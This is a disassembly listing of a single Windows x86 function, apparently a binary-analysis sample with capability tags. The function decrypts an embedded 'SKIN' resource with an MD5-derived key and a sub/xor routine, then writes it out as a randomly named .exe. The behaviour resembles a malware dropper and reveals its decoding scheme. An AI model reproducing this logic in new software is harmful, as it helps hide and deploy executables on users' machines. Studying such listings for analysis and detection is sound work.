Function at 0x403470
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Hash data with md5
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x539721
mov eax, dword fs:[0]
push eax
sub esp, 0x368
mov eax, dword [0x589c08]
xor eax, esp
mov dword [esp + 0x360], eax
push ebx
push esi
push edi
mov eax, dword [0x589c08]
xor eax, esp
push eax
lea eax, [esp + 0x378]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
call fcn.00442a6f
mov esi, dword [eax + 0xc]
test esi, esi
jne 0x4034cb
or eax, 0xffffffff
jmp 0x403a62
movzx ecx, word [ebp + 0xc]
push str.SKIN
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x4034ea
lea eax, [ebx - 2]
jmp 0x403a62
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40368f
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0x48
mov ebx, eax
xor eax, eax
xor edi, edi
lea edx, [esp + 0x48]
push edi
push edx
mov dword [esp + 0x38], ebx
mov byte [esp + 0x158], 0x44
mov byte [esp + 0x159], 0x33
mov byte [esp + 0x15a], 0x66
mov byte [esp + 0x15b], 0x61
mov byte [esp + 0x15c], 0x55
mov byte [esp + 0x15d], 0x6c
mov byte [esp + 0x15e], 0x74
mov byte [esp + 0x15f], 0x30
mov byte [esp + 0x160], 0
mov dword [esp + 0x161], eax
mov dword [esp + 0x165], eax
mov dword [esp + 0x169], eax
mov word [esp + 0x16d], ax
mov byte [esp + 0x16f], al
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call fcn.00513960
lea eax, [esp + 0x158]
push eax
lea eax, [edi + 8]
lea ecx, [esp + 0x44]
mov dword [esp + 0x58], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x44], 0x67452301
mov dword [esp + 0x48], 0xefcdab89
mov dword [esp + 0x4c], 0x98badcfe
mov dword [esp + 0x50], 0x10325476
call fcn.00402500
lea esi, [esp + 0x44]
lea ecx, [esp + 0x164]
call fcn.004025b0
lea edx, [esp + 0x164]
lea ecx, [esp + 0x9c]
call section..text
mov ecx, dword [ebx + 7]
mov edx, dword [ebx + 0xb]
mov eax, dword [ebx + 0xf]
mov dword [esp + 0x14c], ecx
mov ecx, dword [ebx + 0x13]
push 0xa000
mov dword [esp + 0x154], edx
mov dword [esp + 0x158], eax
mov dword [esp + 0x15c], ecx
call fcn.00406f01
add esp, 0x14
mov dword [esp + 0x24], eax
cmp eax, edi
je 0x40368f
movzx eax, word [ebx + 0x18]
movsx esi, ax
lea edx, [esi + 1]
push edx
mov dword [esp + 0x150], esi
call fcn.00406f01
mov edi, eax
add esp, 4
test edi, edi
je 0x40368f
push esi
lea eax, [ebx + 0x1a]
push eax
push edi
call fcn.005159c0
add esp, 0xc
push 0
push 0
push edi
mov byte [esi + edi], 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push eax
mov dword [esp + 0x20], eax
call fcn.00406f01
mov esi, eax
add esp, 4
test esi, esi
jne 0x403699
push edi
call fcn.00406f0c
add esp, 4
mov eax, 0xfffffffd
jmp 0x403a62
mov ecx, dword [esp + 0x1c]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push edi
call fcn.00406f0c
mov eax, esi
add esp, 4
xor edi, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4036b6
sub eax, edx
cmp byte [eax + esi - 1], 0x5c
jne 0x403798
push 0
mov dword [esp + 0x18], esi
call fcn.00512456
push eax
call fcn.00512422
call fcn.00512434
cdq
mov ecx, 0x1a
idiv ecx
mov edi, edx
mov edx, dword [esp + 0x24]
inc edi
lea ebx, [edi + edx]
lea eax, [ebx + 4]
push eax
mov dword [esp + 0x3c], eax
call fcn.00406f01
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x40371d
mov eax, dword [esp + 0x14]
push eax
call fcn.00406f0c
add esp, 4
lea eax, [esi - 3]
jmp 0x403a62
push ebx
push 0
push esi
call fcn.00513960
mov ecx, dword [esp + 0x28]
mov edx, dword [esp + 0x20]
push ecx
push edx
push esi
call fcn.005159c0
mov eax, esi
add esp, 0x18
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403740
sub eax, edx
xor ebx, ebx
mov byte [eax + esi], 0x5c
test edi, edi
jbe 0x40377d
lea eax, [eax + esi + 1]
mov dword [esp + 0x28], eax
jmp 0x403760
call fcn.00512434
cdq
mov ecx, 0x1a
idiv ecx
mov eax, dword [esp + 0x28]
inc ebx
add dl, 0x61
mov byte [eax + ebx - 1], dl
cmp ebx, edi
jb 0x403760
mov ecx, dword [esp + 0x30]
push str..exe
push ecx
push esi
call fcn.005124a7
mov edi, dword [esp + 0x20]
mov ebx, dword [esp + 0x38]
add esp, 0xc
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4037a0
sub eax, edx
push eax
push esi
lea ecx, [esp + 0x20]
call fcn.00405520
push esi
mov dword [esp + 0x384], 0
call fcn.00406f0c
add esp, 4
test edi, edi
je 0x4037d5
push edi
call fcn.00406f0c
add esp, 4
cmp dword [ebp + 0x10], 0
je 0x4038cb
mov eax, dword [esp + 0x18]
cmp dword [eax - 0xc], 4
jge 0x403801
mov edx, dword [esp + 0x20]
mov eax, dword [edx + 0x20]
push 0
push 0
push 0x10
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, dword [esp + 0x18]
cmp dword [eax - 0xc], 0
jle 0x403822
push 0x5c
push eax
call fcn.00512e08
add esp, 8
test eax, eax
je 0x403822
sub eax, dword [esp + 0x18]
sar eax, 1
jns 0x4038b7
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x16e]
push edx
mov word [esp + 0x170], cx
call fcn.00513960
add esp, 0xc
push 0x104
lea eax, [esp + 0x168]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [esp + 0x164]
push 0x5c
push ecx
call fcn.0051251b
lea edx, [esp + 0x16c]
sub eax, edx
sar eax, 1
add esp, 8
inc eax
push eax
mov eax, edx
push eax
lea ecx, [esp + 0x1c]
call fcn.00405500
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x18]
mov byte [esp + 0x384], 1
call fcn.00406690
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x1c]
call fcn.00406500
lea ecx, [esp + 0x14]
mov byte [esp + 0x380], 0
call fcn.00402150
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x18]
add ecx, 0x410
push eax
call fcn.00406500
lea ecx, [esp + 0x154]
call fcn.00443038
push 0
mov byte [esp + 0x384], 2
mov ecx, dword [esp + 0x1c]
push 0x1001
push ecx
lea ecx, [esp + 0x160]
call fcn.00443584
test eax, eax
jne 0x403921
lea ecx, [esp + 0x154]
mov byte [esp + 0x380], al
call fcn.004431ef
lea ecx, [esp + 0x18]
call fcn.00402150
mov eax, 0xfffffffc
jmp 0x403a62
mov edi, dword [esp + 0x14c]
mov ecx, dword [edi + ebx + 0x1a]
lea edi, [edi + ebx + 0x1e]
jmp 0x403936
mov ecx, dword [esp + 0x28]
mov eax, 0xa000
mov dword [esp + 0x1c], eax
cmp ecx, eax
jae 0x403949
mov dword [esp + 0x1c], ecx
mov eax, ecx
mov ebx, eax
sub ecx, eax
shr ebx, 4
mov dword [esp + 0x28], ecx
test al, 0xf
je 0x403959
inc ebx
mov edx, dword [esp + 0x24]
push 0xa000
push 0
push edx
call fcn.00513960
mov esi, edi
add edi, dword [esp + 0x28]
add esp, 0xc
mov dword [esp + 0x14c], edi
mov eax, ebx
test bl, 1
je 0x403984
lea eax, [ebx + 1]
lea ecx, [esp + 0x8c]
shl eax, 4
push ecx
mov ecx, eax
mov edx, esi
call fcn.004018e0
xor eax, eax
add esp, 4
mov dword [esp + 0x20], eax
test ebx, ebx
jbe 0x4039f3
mov edi, dword [esp + 0x24]
lea ecx, [esi - 0x10]
mov dword [esp + 0x14], ecx
test al, 1
jne 0x4039b7
add ecx, 0x20
mov eax, edi
sub ecx, edi
mov esi, 0x10
mov dl, byte [ecx + eax]
sub dl, 0x3c
xor dl, 0xcb
mov byte [eax], dl
inc eax
sub esi, 1
jne 0x4039c0
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
inc eax
add ecx, 0x10
add edi, 0x10
mov dword [esp + 0x20], eax
mov dword [esp + 0x14], ecx
cmp eax, ebx
jb 0x4039b0
mov edi, dword [esp + 0x14c]
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x24]
push eax
push ecx
lea ecx, [esp + 0x15c]
call fcn.00442d6e
cmp dword [esp + 0x28], 0
jne 0x403932
mov edx, dword [esp + 0x24]
push edx
call fcn.00406f0c
add esp, 4
lea ecx, [esp + 0x154]
mov byte [esp + 0x380], 0
call fcn.004431ef
mov dword [esp + 0x380], 0xffffffff
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403a60
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x378]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x360]
xor ecx, esp
call fcn.00511ff3
mov esp, ebp
pop ebp
ret 0xc